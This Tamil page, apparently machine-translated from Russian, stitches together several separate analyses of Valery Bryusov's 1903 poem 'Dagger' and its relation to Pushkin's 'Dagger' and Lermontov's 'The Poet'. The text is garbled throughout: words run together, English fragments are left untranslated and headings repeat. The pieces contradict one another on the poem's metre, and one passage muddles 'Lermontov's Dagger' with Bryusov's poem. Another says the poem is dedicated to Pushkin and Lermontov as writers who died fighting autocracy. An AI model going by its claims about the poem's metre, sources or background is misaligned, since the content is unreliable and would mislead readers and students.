பிரையுசோவ் எழுதிய "டாகர்" கவிதையின் பகுப்பாய்வு. பிரையுசோவின் கவிதை "டாகர்" பகுப்பாய்வு. ரஷ்ய கிளாசிக்ஸின் ஒரு குறிப்பிடத்தக்க எடுத்துக்காட்டு

வலேரி யாகோவ்லெவிச் பிரையுசோவின் "டாகர்" கவிதை இலக்கிய சமூகத்தில் மிகவும் விவாதிக்கப்பட்ட ஒன்றாகும். இது 1903 தேதியிட்டது மற்றும் "மாலை" தொகுப்பில் சேர்க்கப்பட்டது. இருபதாம் நூற்றாண்டின் முதல் தசாப்தம் ரஷ்ய எழுத்தாளரின் படைப்பில் கடினமான மற்றும் திருப்புமுனைக் காலமாகும். இந்த நேரத்தில், பிரையுசோவ் குறியீட்டு கொள்கைகளிலிருந்து படிப்படியாக விலகத் தொடங்கியது மற்றும் வலேரி யாகோவ்லெவிச் தனது குடிமை நிலையை தெளிவாக வரையறுக்கத் தொடங்கினார்.

இருபதாம் நூற்றாண்டின் தொடக்கத்தில், "மாலை" கவிதைத் தொகுப்பைத் தவிர, சில சிறந்த புத்தகங்கள் Bryusov: "The Third Watch" -1900, "The City and the World" - 1903, "All Tunes" - 1909. இந்த வெளியீடுகளில் Bryusov அடிக்கடி குறிப்பிடுகிறார் வரலாற்று உண்மைகள், உள்ளே பார்க்கிறேன் வீர ஆளுமைகள்கடந்த முன்மாதிரிகள், அவர் பிரகாசமான மற்றும் அசாதாரண செயல்களில் ஆர்வமாக உள்ளார். 1905-1907 முதல் ரஷ்யப் புரட்சிக்கு முந்திய நிகழ்வுகள், பின்னர் சுதந்திரத்திற்கான போர்கள் ஒரு புதிய உலகக் கண்ணோட்டத்திற்கான தூண்டுதலாக இருந்தது.

இந்த நேரத்தில், பிரையுசோவ் மாஸ்கோவில் இருந்தார், எனவே அவர் பல புரட்சிகர போர்களுக்கு நேரில் கண்ட சாட்சியாக இருந்தார். இருப்பினும், அவை கவிஞருக்கு உறுதியாகத் தெரிந்தன இயற்கை பேரழிவு, அதன் பாதையில் உள்ள அனைத்தையும் துடைத்துவிடும் தனிமங்களின் வெடிப்பு. அத்தகைய பிரபலமான புயல் பிரையுசோவுக்கு மிகவும் உற்சாகமாக இருந்தது, ஆனால் அவர் விளைவுகளில் அதிக அக்கறை காட்டவில்லை. எந்த உணர்ச்சியும் இல்லாமல், வலேரி யாகோவ்லெவிச் இதை "தி கம்மிங் ஹன்ஸ்" மற்றும் "க்ளோஸ் ஒன்ஸ்" கவிதைகளில் கூறினார். அவர் உடைக்கத் தயாராக இருக்கிறார், ஆனால் கட்டுவதற்கு அல்ல.

இந்த நிலைப்பாடு "டாகர்" என்ற கவிதையில் சற்றே வித்தியாசமாக சுட்டிக்காட்டப்படுகிறது, இது ஒரு தெளிவான உதாரணம் சிவில் பாடல் வரிகள்பிரையுசோவா. மிகவும் திறமையான மற்றும் வெளிப்படையான ஐந்து குவாட்ரெயின்களில், வலேரி யாகோவ்லெவிச் தனது அம்சங்களை தெளிவாக கோடிட்டுக் காட்டினார். குடிமை நிலை, சமுதாயத்தில் கவிஞரின் பங்கு பற்றிய நித்திய கேள்விக்கு பதிலளிக்க முயன்றார்.

Bryusov இன் "Dagger" புஷ்கினின் "Dagger" மற்றும் Lermontov இன் நிரல் கவிதை "The Poet" ஆகியவற்றுடன் தொடர்புடையது என்பதை கவனிக்காமல் இருக்க முடியாது. இது மிகவும் முக்கியமான உண்மை, ரஷ்ய சமுதாயத்தின் ஒன்றுக்கு மேற்பட்ட தலைமுறைகள் ரஷ்ய கவிதையின் இரண்டு பிரபலங்களின் சின்னமான படைப்புகளில் வளர்க்கப்பட்டதால்.

ஆனால் புஷ்கின் மற்றும் லெர்மொண்டோவின் குடிமைக் கொள்கைகளிலிருந்து வேறுபட்ட கவிஞரின் நிலைப்பாட்டின் காரணமாக பிரையுசோவின் "டாகர்" நமக்கு சுவாரஸ்யமானது. 19 ஆம் நூற்றாண்டின் முதல் பாதியின் கவிஞர்கள் தங்கள் கடமை மக்களை வழிநடத்துவது, வாழ்க்கை மற்றும் படைப்பாற்றலின் அனைத்து காலகட்டங்களிலும் தரமானவர்களாக இருப்பது என்று ஆழமாக நம்பியிருந்தால், பிரையுசோவ் தனது குடிமைத் தூண்டுதல்களில் மிகவும் பகுத்தறிவு கொண்டவர். நிலையான வீரத்தில் அவருக்கு எந்தப் பயனும் இல்லை. வலேரி யாகோவ்லெவிச் தனது வாழ்க்கையின் சில தருணங்களில் "அமைதி மற்றும் கல்லறைகளின் நிலத்திற்கு" செல்ல விரும்பினார். பெரும்பாலும், அவர் அதைத் தொடர்ந்து செய்வார்.

எக்காளங்கள் அழைக்கும் வகையில் ஒலிக்கும்போதும், பதாகைகள் விரியும் போது மட்டுமே, கூட்டத்தைப் பின்தொடர்ந்து, உருவாக்கத்திற்குத் தயாராக இருப்பதற்காக, கவிஞரை ஒருவர் கண்டிக்க முடியும். ஆனால் பிரையுசோவ் வாசகரிடம் நேர்மையாகப் பேசுகிறார், மார்பில் தனது சட்டையைக் கிழிக்கவில்லை, ஒரு ஹீரோவாக நடிக்க முயற்சிக்கவில்லை, அது அவர் உண்மையில் இல்லை. இந்த கவிதையில், பிரையுசோவ் மற்ற படைப்புகளைப் போலவே தனது நிலைப்பாட்டை வெளிப்படையாக வெளிப்படுத்துகிறார். அவர் உண்மையில் இருப்பதை விட சிறப்பாக தோன்ற முயற்சிக்கவில்லை.

வலேரி பிரையுசோவ் சிறப்பு தருணங்களில் மட்டுமே போராடத் தயாராக இருப்பதால், இந்த கவிதையில் குத்துச்சண்டையின் படம் இரண்டாம் நிலை. ஐந்து சரணங்களில் மூன்றில் கத்தியைப் பற்றி பேசவே இல்லை. அவற்றில், பிரையுசோவ் சமூகத்தில் கவிஞரின் பங்கைப் பற்றிய தனது புரிதலைப் பற்றி பேசுகிறார்.

கவிதையின் பரிதாபகரமான சொற்களஞ்சியம் கவனிக்கத்தக்கது. இங்குள்ள அனைத்து வாக்கியங்களும் ஒரு இராணுவ அணிவகுப்பில் இருப்பது போல் புனிதமான, முறையான ஒலி. இத்தகைய பேச்சு, சிம்பாலிஸ்டுகளின் ஒலி மற்றும் வாய்மொழி மகிழ்ச்சியை விட ரஷ்ய வசனத்தின் கிளாசிக்கல் மரபுகளுக்கு மிகவும் நெருக்கமாக உள்ளது. "தி டாகர்" இல் பிரையுசோவ் வேண்டுமென்றே தனக்குள்ளே இருந்த ஹால்ஃபோன்கள் மற்றும் குறிப்புகளைத் தவிர்க்கிறார் என்று கருதுவது தர்க்கரீதியானது. ஆரம்பகால படைப்பாற்றல்நலிந்த பாணியில். "டாகர்" கவிதையில், அனைத்தும் வாசகருக்கு மிகவும் தெளிவாக இருக்க வேண்டும். இருப்பினும், இலக்கிய வார்ப்புருக்கள் மற்றும் கிளிச்களும் எஜமானருக்கு அந்நியமானவை, அதனால்தான் வலேரி பிரையுசோவ் பெரிஃப்ரேஸ்களை வெற்றிகரமாகப் பயன்படுத்துகிறார்: "நான் அவமானத்தையும் வலிமையையும் காணாதபோது" அல்லது "நான் அமைதி மற்றும் கல்லறைகளின் நிலத்திற்குச் சென்றேன்."

"டாகர்" கவிதையின் தாளம் முதிர்ந்த பிரையுசோவின் கவிதை விருப்பங்களுடன் முழுமையாக ஒத்துப்போகிறது, அவர் வரிகளின் வலிமையையும் திறனையும் மிகவும் மதிப்பிட்டார். எனவே சிலாபிக்-டானிக் பரிமாணங்களை நோக்கி அதன் வெளிப்படையான சாய்வு. ஒவ்வொரு சரணத்தின் முதல் மூன்று வரிகளிலும் கவிஞர் ஐயம்பிக் ஹெக்ஸாமீட்டரையும், இறுதி வரியில் ஐயம்பிக் டெட்ராமீட்டரையும் பயன்படுத்தினார். இந்த தாள அமைப்பு "தி டாகர்" நெகிழ்ச்சி மற்றும் பழமொழியின் குவாட்ரெயின்களை வழங்குகிறது, அவை வலேரி யாகோவ்லெவிச்சின் முழு கவிதை பாரம்பரியத்தின் சிறப்பியல்பு. பிரையுசோவின் பணியின் பல ஆராய்ச்சியாளர்கள், குறிப்பாக டி. மக்ஸிமோவ், அவரது படைப்புகளின் வெளிப்படையான தாளத்தைப் பாராட்டியது ஒன்றும் இல்லை.

பிரையுசோவின் இலக்கியப் பாதை முரட்டுத்தனமானது, சிக்கலானது மற்றும் முள்ளானது, மேலும் அவரது சமகாலத்தவர்களுடனான அவரது உறவுகள் மிகவும் முரண்பட்டவை. இருப்பினும், "டாகர்" கவிதையின் இறுதி வரிகள் நம்பிக்கையுடன் ஊடுருவுகின்றன: "மீண்டும் நான் மக்களுடன் இருக்கிறேன், ஏனென்றால் நான் ஒரு கவிஞர்."

"இளம் கவிஞருக்கு", பிரையுசோவின் கவிதையின் பகுப்பாய்வு

பிரையுசோவ் எழுதிய "டாகர்" கவிதையின் பகுப்பாய்வு

சமகாலத்தவர்கள் பிரையுசோவின் திடீர், "குரைக்கும்" அவரது படைப்புகளை ஓதுவதைக் குறிப்பிட்டனர். பிரையுசோவைப் படிக்கும்போது தாள சங்கங்கள் - அளவிடப்பட்ட, தன்னம்பிக்கை இயக்கம், துல்லியமான, அளவிடப்பட்ட படிகள், கவிதையின் படிகளில் ஒரு நிலையான ஏறுதல். "டாகர்" என்ற கவிதையை சத்தமாக வாசிப்பது பிரையுசோவின் பாணி அமைப்பைப் புரிந்துகொள்ள உதவும்.

கவிதையின் சாராம்சம் மற்றும் பணிகள். பால்மாண்டின் பாடல் வரிகளின் தெளிவற்ற பல்துறைக்கு மாறாக, பிரையுசோவின் பாடல் வரிகள் "நான்" தெளிவு மற்றும் நிலைப்பாட்டின் உறுதிப்பாட்டைக் கொண்டுள்ளது. இது ஒரு தன்னம்பிக்கை நபர், அவர் தனது சொந்த மனதை நம்பி, மற்றவர்களின் அழைப்புகளை நம்புவதில்லை. அவர் பெருமையுடன் தன்னைச் சுற்றியுள்ள வாழ்க்கையின் அற்பத்தனத்திலிருந்து விலகி, வரலாற்றின் எல்லையற்ற தூரத்தில் தனது எண்ணங்களை விட்டுவிடுகிறார். சமூகக் கூறுகளின் உண்மையான வெடிப்பு, போராட்டத்தின் புயல், பேரார்வத்தின் சக்தி ஆகியவை மட்டுமே அவரது அருங்காட்சியகத்தை நவீனத்துவத்திற்கு கொண்டு வர முடியும். பிரையுசோவ் குட்டி-முதலாளித்துவ பயமுறுத்தலை உயர்ந்த வீரம், சாத்தியக்கூறுகளின் வரம்பில் போராடுதல் ஆகியவற்றுடன் வேறுபடுத்துகிறார்.

பிரையுசோவின் கவிதையின் முக்கிய கொள்கை சிந்தனை. தர்க்கங்கள் கலவை கட்டுமானம்கவிதைகள் அசல் ஆய்வறிக்கையின் ஆதாரத்தின் தர்க்கமாகும். கல்வெட்டு கூட ஒரு வகையான கூடுதல் வாதமாக மாறிவிடும். லெர்மொண்டோவின் "கவிஞர்" கவிதையின் வரிகளைப் பயன்படுத்துவதன் மூலம், பிரையுசோவ் கலைக்கும் வாழ்க்கைக்கும் இடையிலான உறவின் காலத்தால் மதிக்கப்படும் பாரம்பரியத்தை வரைகிறார். லெர்மொண்டோவின் உருவத்திலிருந்து தொடங்கி, கவிதை மற்றும் சமூக படைப்பாற்றலின் உறவை அறிவிக்கிறது ("புயலுடன் ஒரு பாடல் என்றென்றும் சகோதரிகள்"), பிரையுசோவின் பாடல் வரிகளின் ஹீரோ இரண்டாவது மற்றும் மூன்றாவது சரணங்களில் தனது சொந்த சமூக அலட்சியத்திற்கான காரணங்களை பகுப்பாய்வு செய்கிறார், படைப்பாற்றலுக்கும் நவீனத்திற்கும் இடையிலான இடைவெளி வாழ்க்கை. "மர்மமாக கடந்த நூற்றாண்டுகளுக்கு" பின்வாங்குவதும் கடந்த காலத்தின் மீது கவனம் செலுத்துவதும் இல்லாததால் ஏற்படுகிறது. நவீன வாழ்க்கை படைப்பாற்றல்- ஆர்வம், ஆற்றல், போராட்டம்.

ஆனால் வாழ்க்கை வீரமான போராட்டத்தால் நிரப்பத் தொடங்கியவுடன், பிரையுசோவ் நான்காவது சரணத்தில் தனது அறிவிப்பைத் தொடர்கிறார், பாடகர் கொந்தளிப்பான நவீனத்துவத்திற்குத் திரும்புகிறார். மீண்டும், கவிதை என்பது வேலைநிறுத்தம் செய்யும் எஃகு போன்றது - கவிஞர் இறுதி சரணத்தில் அதிகபட்ச ஆற்றலுடன் குறியீட்டைப் பயன்படுத்துகிறார். கவிதைக்கும் ஆயுதங்களுக்கும் இடையிலான உறவைப் பற்றிய ஆய்வறிக்கை இப்போது நிரூபிக்கப்பட்டுள்ளது; கவிதை பிரதிபலிப்பு செயல்முறை தொடங்கிய அதே விஷயத்தில் ஆதார வளையம் மூடுகிறது - "கவிதையின் குத்து" படத்தில். சரியான வேலையின் வற்புறுத்தல் "முன்பு", "மீண்டும்" நினைவூட்டல்களால் வலியுறுத்தப்படுகிறது. "அப்புறம்" என்ற இணைப்பின் இரட்டைத் திரும்பத் திரும்பத் திரும்பத் திரும்பச் சொல்வது காரியத்தை நிறைவு செய்கிறது - ஒரு ஆணியின் தலையில் ஒரு சுத்தியலின் கடைசி அடிகள் பலகையில் செலுத்தப்படுவது போல.

"குத்து" - ஒலி, மனப்பூர்வமாக உற்சாகம், உயரத்திற்கு அருகில் சொற்பொழிவு பேச்சு. பிரையுசோவ் குறியீட்டில் தனித்து நின்றார், வாசகர்களின் ஆழ் மனதில் அதிகம் ஈர்க்கவில்லை, ஆனால் அவரது மனதைக் கவர்ந்தார். இது சம்பந்தமாக, அவரது படைப்பு பாரம்பரிய சொல்லாட்சிக் கவிதைகளின் கொள்கைகளைப் பெறுகிறது. படைப்பாற்றல் முதிர்ச்சியடைந்த காலகட்டத்தில், பிரையுசோவ், எடுத்துக்காட்டாக, அன்னென்ஸ்கியைப் போலல்லாமல், ஹால்ஃப்டோன்கள், நிழல்கள் மற்றும் குறைத்து மதிப்பிடும் கலைக்கு அந்நியமாக இருந்தார்.

அவர் பயன்படுத்திய ஸ்டைலிஸ்டிக் சாதனங்கள், வாசகருக்கு வெளிப்படுத்தப்படும் கருத்துக்களைத் தெளிவாகப் புரிந்துகொள்வதை உறுதி செய்வதை நோக்கமாகக் கொண்டிருந்தன. அதனால்தான் அவருக்குப் பிடித்தமான வழிமுறையானது ஒரு துணை உருவகம் அல்ல, மாறாக ஒரு அலங்கார பெரிஃப்ரேஸ். உதாரணமாக, "எல்லோரும் வன்முறையில் ஈடுபட்டுள்ளனர்" என்று பிரையுசோவ் கூறவில்லை, ஆனால் "எல்லோரும் நுகத்தடியில் அமைதியாக கழுத்தை வணங்கினர்" என்ற அலங்கார உருவகத்தைப் பயன்படுத்துகிறார்; "நான் வரலாற்றிற்கு திரும்பினேன்" என்பதற்கு பதிலாக, "நான் அமைதி மற்றும் கல்லறைகளின் நிலத்திற்கு சென்றேன்" என்று கூறுவார். தொல்பொருள்கள் மற்றும் சுருக்க வாய்மொழி சூத்திரங்களுக்கு கவிஞரின் ஈர்ப்பு சிறப்பியல்பு: "பழைய நாட்கள்", "வாழ்க்கையின் ஒழுங்கு", "போராட்டத்தின் ஒரு பாடல் புத்தகம்".

பிரையுசோவின் சொல்லாட்சி பாணி அவரது வசனத்தின் தாளத்துடன் முழுமையாக ஒத்துப்போகிறது. சுருக்கமும் வலிமையும் கவிதையின் மிக உயர்ந்த நற்பண்புகளாக அவர் கருதினார், அவர் ஒப்புக்கொண்டபடி மென்மை மற்றும் மெல்லிசை ஆகியவற்றை பால்மாண்டிற்கு விட்டுவிட்டார். கிளாசிக்கல் சிலபிக்-டானிக் மீட்டர்களுக்கான பிரையுசோவின் விருப்பம் இதனுடன் இணைக்கப்பட்டுள்ளது. "தி டாகர்" இல், ஒவ்வொரு சரணத்தின் முதல் மூன்று வசனங்களின் ஐம்பிக் ஹெக்ஸாமீட்டர் கவிதைக்கு நெகிழ்ச்சியையும் தெளிவையும் தருகிறது. சரணத்தின் இறுதி - நான்காவது பாடலில் - அடிகளின் எண்ணிக்கையை நான்காகக் குறைப்பதால் சொற்றொடர் ஒரு பழமொழியாக சுருக்கப்பட்டுள்ளது.

எப்பொழுதும் தீர்க்கப்படும் சொல்லாட்சி பிரச்சனைக்கு பதிலளிக்கவும். அத்தகைய கருவியின் வெளிப்படையான எடுத்துக்காட்டுகள் கவிதையின் இரண்டு இறுதி சரணங்களில் உள்ளன. "ஆனால் நான் எக்காளத்தின் நேசத்துக்குரிய அழைப்பைக் கேட்டேன்" என்ற வரியில் "z" இல் ஒரு அற்புதமான வசனம் உள்ளது, இது "பதாகைகள்" மற்றும் "பதில்" என்ற வார்த்தைகளால் அருகிலுள்ள வசனங்களில் ஆதரிக்கப்படுகிறது. இதையொட்டி, "முன்பைப் போலவே, நான் இந்த உண்மையுள்ள எஃகு வழியாக ஓடினேன்" என்ற வரியானது "இரங்கும்" மெய்யெழுத்துக்களின் புள்ளியிடப்பட்ட வரியுடன் ("e" மற்றும் "a" இல்) துல்லியமான கலவையை வழங்குகிறது.

ஒலி எழுத்து எந்த வகையிலும் சொற்களின் சொற்பொருள் வரையறையை மங்கலாக்குவதில்லை என்பது முக்கியம். மாறாக, ஒலித் துணையானது கூறப்பட்ட ஆய்வறிக்கைகளை மிகவும் முக்கியத்துவம் வாய்ந்ததாகவும், அழகாகவும் ஆக்குகிறது. பொதுவாக, கவிதையின் ஒலிப்பு அதற்கு ஒலிப்பு, கட்டாய தொகுதி - பார்வையாளர்களின் கவனத்தை ஈர்க்க தேவையான "பாப்" குணங்களை வழங்குகிறது.

பிரையுசோவின் கவிதை "டாகர்" பகுப்பாய்வு

பிரையுசோவின் கவிதை "டாகர்" இரண்டைக் குறிக்கிறது கிளாசிக்கல் கவிதைகள்- புஷ்கினின் "டாகர்" மற்றும் லெர்மொண்டோவின் கவிதை "கவிஞர்". அவர்களிடமிருந்து, பிரையுசோவின் கவிதை மெட்ரிகேஷன், ரிதம் மற்றும் அடையாள தொடர்களைப் பெறுகிறது.

புஷ்கினின் கவிதை பிரையுசோவின் "டாகர்" ஐப் புரிந்துகொள்வதற்கு குறைவான முக்கியத்துவம் வாய்ந்தது: புஷ்கின் குத்துவீட்டை பழிவாங்கும் கருவியாக, கொடுங்கோன்மையிலிருந்து விடுதலையின் அடையாளமாக மகிமைப்படுத்துகிறார். பிரையுசோவின் கவிதையைப் போலவே, ஒரு குத்துச்சண்டையின் உருவம் ஒரு கவிஞர், கவிதை என்ற யோசனையுடன் எந்த வகையிலும் இணைக்கப்படவில்லை. எனினும் கவிதை மரபு, பிரையுசோவின் “டாகர்” சேர்ந்தது, துல்லியமாக புஷ்கின் கவிதையுடன் தொடங்கியது. இது கவிதையின் மெட்ரிக் மூலம் சாட்சியமளிக்கப்படுகிறது: புஷ்கினின் கவிதையைப் போலவே, பிரையுசோவின் கவிதையும் ஐயம்பிக் வேரிமீட்டர்களில் எழுதப்பட்டுள்ளது. உண்மை, புஷ்கினில் நான்கு, ஐந்து, ஆறு மற்றும் ஏழு அடி வரிகளின் மாற்று இலவசம் மற்றும் வெவ்வேறு சரணங்களில் மீண்டும் மீண்டும் செய்யப்படவில்லை, அதே நேரத்தில் பிரையுசோவின் அனைத்து சரணங்களும் 6-7-6-5 வடிவத்தைக் கொண்டுள்ளன; ஆனால் புஷ்கினின் கவிதை, சுதந்திர உணர்வோடு ஊடுருவி, வெவ்வேறு வரிகளை மாற்றுவதில் ஒரு கண்டிப்பான ஒழுங்கைக் கொண்டிருக்க முடியாது. பிரையுசோவ் சுதந்திரத்தில் கவனம் செலுத்தவில்லை, ஆனால் அவரது பரிசு ஆயுதத்தின் சுத்திகரிப்பு மற்றும் பாவம் செய்யவில்லை.

லெர்மொண்டோவின் "டாகர்" பிரையுஸால் மிகவும் தீவிரமாக பயன்படுத்தப்படுகிறது. கவிஞரை ஒரு குத்துவாளுடன் ஒப்பிடுவது, கவிஞரின் கூட்டத்திற்கு எதிர்ப்பு, ஆண் ரைம்களுடன் ஹெக்ஸாமீட்டர் கோடுகள் மற்றும் பெண் ரைம்களுடன் பென்டாமீட்டர் கோடுகளின் கடுமையான மாற்றீடு (பிரையுசோவில் 6 அடி அனைத்து வரிகளும் ஒற்றைப்படை மற்றும் கொண்டவை. ஆண் முடிவுகள். மற்றும் 5 மற்றும் 7 அடி கோடுகள் பெண்) - இவை அனைத்தும் லெர்மண்டோவ் மற்றும் பிரையுசோவின் கவிதைகளை ஒன்றிணைக்கிறது. ஆனால் இந்த பொதுவான பின்னணிக்கு எதிராக, வேறுபாடுகள் குறிப்பாக தெளிவாகத் தெரியும்.

லெர்மொண்டோவ் ஒரு கவிஞரைப் பற்றி பேசுகிறார், அவர் தனது நோக்கத்தை மறந்துவிட்டார், எனவே ஒரு அலங்கரிக்கப்பட்ட ஆனால் பயனற்ற குத்துச்சண்டையைப் போல இருக்கிறார், அதில் சும்மா இருக்கும் கூட்டம் தன்னை மகிழ்விக்கிறது. பிரையுசோவில், புயலின் குரலை உணரும் வரை, வரலாற்றின் அழைப்பைக் கேட்கும் வரை கவிஞரே மக்களுக்கு சேவை செய்ய மறுத்துவிட்டார்; அவர் தனது பாடல் வரவிருக்கும் எழுச்சிகளுக்கு இசைவாக இருப்பதாக நம்புகிறார், எனவே அவர் மீண்டும் "மக்களுடன்" இருக்க தயாராக இருக்கிறார்.

பொதுவாக, பிரையுசோவ் அதை பின்பற்றுவதை விட பாரம்பரியத்திலிருந்து தொடங்குகிறார். லெர்மொண்டோவின் "கவிஞர்" ஒரு உருவகமாக கட்டமைக்கப்பட்டுள்ளது: குத்துச்சண்டை மற்றும் அதன் தலைவிதியின் சித்திர விளக்கம் கவிதையின் இரண்டாம் பாதியில் விளக்கப்பட்டுள்ளது. பிரையுசோவின் கவிதை ஒரு கத்தியைப் பற்றிய கதையுடன் கூட தொடங்கவில்லை, ஆனால் "அது" என்ற சிறிய குறிப்புடன் - நீங்கள் தலைப்பைப் படிக்கவில்லை என்றால், அது என்னவென்று உடனடியாக யூகிக்க மாட்டீர்கள் - ஒரு குத்து, வாள், கத்தி? பின்னர் கவிஞரின் உருவம் தோன்றுகிறது - மற்றும் ஒரு சுருக்க உருவம்; இரண்டாவது சரணத்தில் மட்டுமே ஆசிரியர் கவிஞர் தானே என்று கூறுகிறார் (லெர்மொண்டோவின் கவிதையிலிருந்து மற்றொரு வித்தியாசம்: அங்கு ஆசிரியர் தொடர்ந்து கவிஞரை "நீங்கள்" என்று குறிப்பிடுகிறார், மேலும் லெர்மொண்டோவ் தன்னை அர்த்தப்படுத்துகிறாரா என்பதை மட்டுமே நாம் யூகிக்க முடியும்).

ஐந்தில் மூன்று சரணங்களில், நாம் கத்தியைப் பற்றி பேசவில்லை, ஆனால் கவிஞர் மற்றவர்களுடன் எவ்வாறு தொடர்பு கொள்கிறார் என்பதைப் பற்றி; மற்றும் கவிதையை வடிவமைக்கும் சரணங்களில், குத்துச்சண்டை ஒரு துணைப் படம். பிரையுசோவ் பாடப்புத்தகக் கவிதைகளைப் பயன்படுத்தி அவற்றின் பின்னணிக்கு எதிராக தனது சொந்த வரைபடத்தை உருவாக்குகிறார்.

அதே நேரத்தில், புஷ்கின் மற்றும் லெர்மொண்டோவின் கவிதைகளில் உள்ள தீர்க்கதரிசனங்களை பிரையுசோவ் உணர்ந்ததாகத் தெரிகிறது. பழிவாங்கும் ஆயுதம் இறுதியாக கோரப்பட்டது; "கேலி செய்யப்பட்ட தீர்க்கதரிசி" எழுந்தது மட்டுமல்லாமல், தொடக்க இயக்கத்தின் தலைவராகவும் நின்றார்.

வலேரி பிரையுசோவ் நேரடியாக அடையாளத்துடன் தொடர்புடையவர் என்ற போதிலும், அவருடைய ஒன்று புத்திசாலித்தனமான படைப்புகள் 1903 இல் எழுதப்பட்ட "டாகர்" என்ற கவிதையை குறிக்கிறது, இது மிகைல் யூரிவிச் லெர்மொண்டோவ் மற்றும் அலெக்சாண்டர் செர்ஜிவிச் புஷ்கின் ஆகியோருக்கு அர்ப்பணிக்கப்பட்டது - எதேச்சதிகாரத்திற்கு எதிரான போராட்டத்திற்கு தங்கள் உயிரைக் கொடுத்த இரண்டு சிறந்த எழுத்தாளர்கள், சுதந்திரம் மற்றும் அவர்களின் படைப்புகளில் பிரச்சினைகளை எழுப்பினர். சமுதாயத்தில் கவிஞரின்.

பிரையுசோவின் “டாகர்” அதே பெயரில் லெர்மொண்டோவின் படைப்புகளுடன் ஒரு குறிப்பிட்ட இணையாக வரைய அனுமதிக்கிறது. வலேரி யாகோவ்லெவிச் தனது படைப்பில் ஒரே ஒரு உருவகத்தைப் பயன்படுத்தினார், கத்தியை ஒரு கவிதை பரிசுடன் ஒப்பிட்டார். அவரது கருத்துப்படி, ஒவ்வொருவரும் பரிபூரணத்திற்கு பழிவாங்கும் கூர்மையான ஆயுதத்தை மாஸ்டர் செய்ய வேண்டும். இந்த வார்த்தைக்கு மிகப் பெரிய செல்வாக்கு இருப்பதாக பிரையுசோவ் நம்புகிறார், ஒரே கேள்வி கவிஞரே தனது திறமைகளை வளர்த்து சமூகத்திற்கு தெரிவிக்க விரும்புகிறாரா என்பதுதான். மறைக்கப்பட்ட பொருள்வசனங்கள் புரிந்துகொள்ளக்கூடியதாகவும் தெளிவாகவும் இருக்கும்.

பிரையுசோவின் "தி டாகர்" கவிதையின் பகுப்பாய்வு, ஆசிரியரின் உலகக் கண்ணோட்டத்திற்கும் அவரது முன்னோடிகளான புஷ்கின் மற்றும் லெர்மொண்டோவுக்கும் இடையிலான வேறுபாடுகளைக் காண அனுமதிக்கிறது. அலெக்சாண்டர் செர்ஜிவிச் மற்றும் மைக்கேல் யூரிவிச் ஒரு கவிஞர் மக்களுக்காக கவிதை எழுத வேண்டும் என்று நம்பினர், தடைகள் மற்றும் தவறான புரிதல்களுக்கு கவனம் செலுத்தவில்லை. ஆனால் மக்கள் சிறைபிடிக்கப்பட்டால் உயர்ந்த விஷயங்களைப் பற்றி பேசுவது அர்த்தமற்றது என்று வலேரி யாகோவ்லெவிச் நினைக்கிறார். மக்கள் சுமையிலிருந்து விடுபட முயற்சிக்கும் வரை கவிஞரால் எதையும் மாற்ற முடியாது. எழுத்தாளர் பொது கருத்துக்கு அடிபணிய வேண்டும், மாறாக அல்ல.

தன்னால் தனியாக எதுவும் செய்ய முடியாது என்பதை வலேரி யாகோவ்லெவிச் புரிந்துகொள்கிறார். பிரையுசோவின் "தி டாகர்" கவிதையின் பகுப்பாய்வு, ஆசிரியர் கவிஞருக்கு வெளிப்புற பார்வையாளரின் பாத்திரத்தை ஒதுக்குகிறார் மற்றும் இலக்கியத்தின் எந்த முக்கியத்துவத்தையும் பூஜ்ஜியமாகக் குறைக்கிறார் என்பதைக் காட்டுகிறது. மக்கள் அமைதியின்மை தொடங்கும் போது ஒரு எழுத்தாளர் போராட்டத்தில் கலந்து கொள்ள வேண்டும். வலேரி பிரையுசோவ் மாற்றத்தில் நம்பிக்கையுடன் "டாகர்" எழுதினார் அரசியல் சூழ்நிலைநாட்டில். கவிதை இயற்றிய இரண்டு ஆண்டுகளுக்குப் பிறகு, ஒரு புரட்சி ஏற்பட்டது என்பதால், அவருக்கு தொலைநோக்குப் பரிசு இருப்பதாக பலர் நம்புகிறார்கள்.

வலேரி யாகோவ்லெவிச் ஒரு மாற்றத்தை கணித்தார் பொது தகவல், எந்தப் பக்கம் பேசுவது என்பதைத் தெளிவாகத் தானே முடிவு செய்து கொண்டார். பிரையுசோவின் "தி டாகர்" கவிதையின் பகுப்பாய்வு, லெர்மொண்டோவ் மற்றும் புஷ்கின் ஆகியோரின் படைப்புகளை ஆசிரியர் போற்றுகிறார் என்பதை புரிந்து கொள்ள முடிகிறது, அவர்களின் படைப்புகள் அவரது படைப்புகளை விட சமூகத்திற்கு மிகவும் முக்கியத்துவம் வாய்ந்தவை என்பதை உணர்ந்தனர். வலேரி யாகோவ்லெவிச் மக்களின் பக்கத்தைத் தேர்வு செய்கிறார், ஆனால் அவர் ஏன் இதைச் செய்கிறார் என்பதை அவரே விளக்க முடியாது. மிகைல் யூரிவிச் மற்றும் அலெக்சாண்டர் செர்ஜிவிச் ஒரு காலத்தில் இருந்தனர் இணைப்புசமூகத்தின் பல்வேறு அடுக்குகளுக்கு இடையில், ஆனால் பிரையுசோவ் அப்படி இல்லை.

கவிஞர் தனது வேலையைப் பற்றி பெருமிதம் கொள்ளவில்லை, ஏனென்றால் அவர் எதையும் மாற்ற முடியாது. வேலைகளில் நடவடிக்கைக்கு அழைப்பு இல்லை; சாரிஸ்ட் ஆட்சி அவர்கள் மீது கவனம் செலுத்தவில்லை. பிரையுசோவின் கவிதை "டாகர்" அவர் ஒரு "போராட்டத்தின் பாடலாசிரியர்" என்பதை மீண்டும் வலியுறுத்துகிறது, அதே நேரத்தில் கவிஞர் தனக்கு லெர்மொண்டோவின் சுதந்திர சிந்தனை மற்றும் புஷ்கினின் தைரியம் இல்லை என்பதை உணர்ந்தார். வலேரி யாகோவ்லெவிச்சால் கூட்டத்தை வழிநடத்த முடியவில்லை, அதன் கருத்தியல் தலைவராக ஆக, பொதுமக்களின் விருப்பத்தை ஏற்று சாம்பல் நிறத்தில் கரைந்து போவதே அவரது விதி.

ரஷ்ய கவிதையின் உன்னதமான வலேரி பிரையுசோவ், தனது வாழ்க்கையை இலக்கியத்துடன் மிக விரைவாக இணைத்து, சிறப்பாகச் சென்றார் படைப்பு பாதை. அவருக்கு சமர்ப்பிக்கப்பட்ட அனைத்து கவிதை வகைகளும்: வரலாற்று-புராணக் கவிதை, காதல் பாடல் வரிகள், தீம் இயற்கை மற்றும் சிவில் பாடல் வரிகள்.
